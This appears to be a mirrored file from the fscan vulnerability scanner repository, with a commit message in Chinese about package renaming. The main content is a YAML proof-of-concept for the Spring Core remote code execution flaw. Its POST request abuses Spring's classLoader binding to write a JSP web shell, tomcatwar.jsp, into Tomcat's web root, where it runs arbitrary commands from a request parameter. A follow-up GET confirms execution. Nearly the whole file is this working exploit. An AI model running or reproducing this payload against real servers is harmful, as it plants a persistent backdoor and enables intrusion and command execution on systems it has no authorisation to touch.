mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 重命名 Common -> common,WebScan -> webscan,遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项,优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。
28 lines
1.4 KiB
YAML
28 lines
1.4 KiB
YAML
name: poc-yaml-spring-core-rce
|
|
manual: true
|
|
transport: http
|
|
set:
|
|
r1: randomInt(40000, 44800)
|
|
rules:
|
|
- method: POST
|
|
path: /
|
|
headers:
|
|
suffix: "%>//"
|
|
c1: "Runtime"
|
|
c2: "<%"
|
|
DNT: "1"
|
|
Content-Type: "application/x-www-form-urlencoded"
|
|
body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
|
|
follow_redirects: true
|
|
expression: |
|
|
response.status == 200
|
|
- method: GET
|
|
path: /tomcatwar.jsp?data=j&word=echo%20{r1}
|
|
follow_redirects: false
|
|
expression: |
|
|
response.status == 200 && response.body.bcontains(bytes(string(r1)))
|
|
detail:
|
|
author: marmot
|
|
links:
|
|
- https://github.com/Mr-xn/spring-core-rce
|